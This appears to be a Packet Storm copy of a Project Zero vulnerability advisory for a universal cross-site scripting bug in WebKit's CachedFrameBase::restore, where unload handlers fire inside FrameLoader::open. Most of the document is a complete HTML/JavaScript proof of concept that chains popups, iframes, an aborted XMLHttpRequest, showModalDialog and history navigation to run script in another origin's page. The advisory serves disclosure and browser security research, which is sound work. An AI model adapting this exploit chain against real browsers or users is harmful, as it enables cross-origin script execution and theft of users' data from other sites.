WebKit CachedFrameBase::restore Universal Cross Site Scripting

WebKit suffers from a universal cross site scripting vulnerability in CachedFrameBase::restore.


MD5 | 8ee769d64010284b4721a43aed2c95de

Download
 WebKit: UXSS via CachedFrameBase::restore 




This is similar to the case <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1151" title="" class="" rel="nofollow">https://bugs.chromium.org/p/project-zero/issues/detail?id=1151</a>.
But this time, javascript handlers may be fired in FrameLoader::open.

void FrameLoader::open(CachedFrameBase& cachedFrame)
{
  ...
    clear(document, true, true, cachedFrame.isMainFrame()); <<--------- prepareForDestruction which fires unloads events is called.
    ...
}

PoC:
<html>
<body>
Click anywhere...
<script>

function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

function navigate(w, url) {
    let a = w.document.createElement('a');
    a.href = url;
    a.click();
}

window.onclick = () => {
  window.w = open('about:blank', 'w', 'width=500, height=500');

  let i0 = w.document.body.appendChild(document.createElement('iframe'));
  let i1 = w.document.body.appendChild(document.createElement('iframe'));
  i0.contentWindow.onbeforeunload = () => {
    i0.contentWindow.onbeforeunload = null;

    navigate(w, 'about:blank');
  };

  navigate(i0.contentWindow, createURL(`
<body>
<script>
</scrip` + 't></body>'));

  setTimeout(() => {
    let g = i0.contentDocument.body.appendChild(document.createElement('iframe'));
    let x = new g.contentWindow.XMLHttpRequest();
    x.onabort = () => {
      parseFloat('axfasdfasfdsfasfsfasdf');
      i0.contentDocument.write();

          navigate(w, '<a href="https://abc.xyz/');" title="" class="" rel="nofollow">https://abc.xyz/');</a>

          showModalDialog(createURL(`
<script>
let it = setInterval(() => {
  try {
      opener.w.document.x;
  } catch (e) {
      clearInterval(it);
      window.close();
  }
}, 10);
</scrip` + 't>'));

          setTimeout(() => {
            i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
            navigate(i1.contentWindow, 'about:srcdoc');
          }, 10);
    };

    x.open('GET', createURL('x'.repeat(0x1000000)));
    x.send();
    w.history.go(-2);
  }, 200);
};

</script>
</body>
</html>


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt


Source: packetstormsecurity.com
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